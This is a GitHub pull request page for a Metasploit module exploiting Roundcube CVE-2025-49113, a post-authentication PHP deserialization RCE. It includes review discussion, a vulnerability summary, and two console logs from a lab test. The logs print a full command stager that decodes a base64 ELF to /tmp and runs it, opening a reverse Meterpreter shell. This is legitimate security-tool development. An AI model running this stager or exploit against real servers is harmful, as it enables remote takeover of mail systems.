-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Add Remote for Roundсube CVE-2025-49113 post-authentication RCE module #20291
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CC @firsov
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
It should be smth like this |
Co-authored-by: Julien Voisin <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @vognik, thank you for your contribution! I had trouble making your module run. It seems like the payload is sent, but never triggered. I'll check this out later, but in meantime, would you mind providing steps to setup target as you have tested?
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
@msutovsky-r7 thanks for feedback! I committed the changes and specified in the documentation the docker-compose I used
|
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: Valentin Lobstein <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run verbose=true
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 172.20.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10509
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: NorYS2SUl9hvp5yTB5zieYbIWrtVMLOT
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUAAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/IQhuv.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/GAawB' < '/tmp/IQhuv.b64' ; chmod +x '/tmp/GAawB' ; '/tmp/GAawB' ; rm -f '/tmp/GAawB' ; rm -f '/tmp/IQhuv.b64'"]
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.3:40862) at 2025-06-10 12:02:33 +0200
[+] Exploit attempt complete. Check for session.
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @vognik, great module!
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run verbose=true
[*] Started reverse TCP handler on 172.19.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10509
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: aHSkYDWrIULj8XDuw60qWwfNbbRYkCaL
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwTAAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/EGVbO.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/UUsED' < '/tmp/EGVbO.b64' ; chmod +x '/tmp/UUsED' ; '/tmp/UUsED' ; rm -f '/tmp/UUsED' ; rm -f '/tmp/EGVbO.b64'"]
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.19.0.3
[*] Meterpreter session 5 opened (172.19.0.1:4444 -> 172.19.0.3:60118) at 2025-06-11 10:31:37 +0200
meterpreter > sysinfo
Computer : 172.19.0.3
OS : Debian 11.5 (Linux 6.12.10-76061203-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Release NotesThis adds module for CVE-2025-49113 - remote code execution by PHP object deserialization. The module requires user credentials for successful exploitation. |
Vulnerability Details
This module exploits a post-authentication remote code execution vulnerability via a file upload endpoint. The vulnerability stems from improper validation of the uploaded filename, which is deserialized on the server side without sufficient sanitization. By embedding a PHP serialization gadget chain in the filename, an authenticated attacker can achieve remote code execution.
This issue is tracked as CVE-2025-49113. Exploitation results in code execution as the web server
user.
Module Information
Module path:
exploit/multi/http/roundcube_auth_rce_cve_2025_49113
Platform:
Linux/Windows
Tested on:
Kali Linux
Requirements:
Authentication
References
Original PoC - Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
Test Output